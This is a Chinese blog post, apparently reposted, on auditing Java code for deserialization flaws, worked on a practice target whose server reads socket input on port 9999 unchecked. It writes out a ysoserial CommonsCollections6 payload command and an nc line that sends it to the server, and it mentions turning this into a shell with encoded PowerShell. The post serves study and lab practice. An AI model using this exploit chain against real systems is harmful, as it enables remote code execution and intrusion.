Java审计之反序列化挖掘
2022-11-20 21:54:18 Author: 轩公子谈技术(查看原文) 阅读量:12 收藏

前置知识

首页你要了解什么是反序列化,需要用到哪些函数

如下图

java反射机制

在反序列化中,反射必不可少

让java具有动态性修改已有对象的属性动态生成对象动态调用方法操作内部类和私有方法
在反序列化中定制需要的对象通过invoke调用除了同名函数以外的函数通过class类创建对象,引入不能序列化的类

白盒审计序列化有哪些思路(个人理解)

1. 全局搜索 readObject writeObject OutputStream InputSream等这些关键字    然后寻找传输的变量,是写死的路径文件,还是单纯可控2. 针对c/s架构,利用socket进行消息接收与发送3. pom依赖中存在历史漏洞的框架,如fastjson,commons-collections4. 把数据存储到redis,mangodb,经过序列化存储与读取,也是搜索关键字

案例来自月师傅十月考核的java审计靶场

在github上可以搜到

https://github.com/mamenchisat/

首页是两个源码,客户端和服务端

客户端效果:

服务端效果:

故名思义,符合第二条,直接审计server端代码,不要问我为什么不审计客户端。

全局搜索关键字,代码量比较少,所以也容易理解,可见就两个

user作为一个用户,登陆用户,会存在序列化吗,不清楚,来点击user看看,所以不会存在

漏洞点就存在message里,对数据进行读取,没有任何限制

这里是可以看到的,有发送,有接收数据。

运行看看数据效果

此时已经知道了,服务器的9999端口可以发送任意数据

这时配合cc链进行攻击(自己测试需要在server中加入commons-collections-3.2.1的依赖,新建lib目录,放入jar,右键加入依赖)

使用ysoserial,生成数据

java -jar ysoserial-all.jar CommonsCollections6 "open -a calculator" > cc6.bin

使用cat查看,其实就是字节码

然后使用nc进行发送数据

cat cc6.bin|nc -v 192.168.1.2 9999

需要getshell的呢,把命令换成powershell 然后bash64编码即可上线。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247487261&idx=1&sn=0d245f7468ad2a0e586d46e09ec08454&chksm=fce9a8d2cb9e21c4fff0dcbd18d95a234c1ba5eb95524bd755a28ed4f20fb8864eb53fb5ca31#rd
如有侵权请联系:admin#unsafe.sh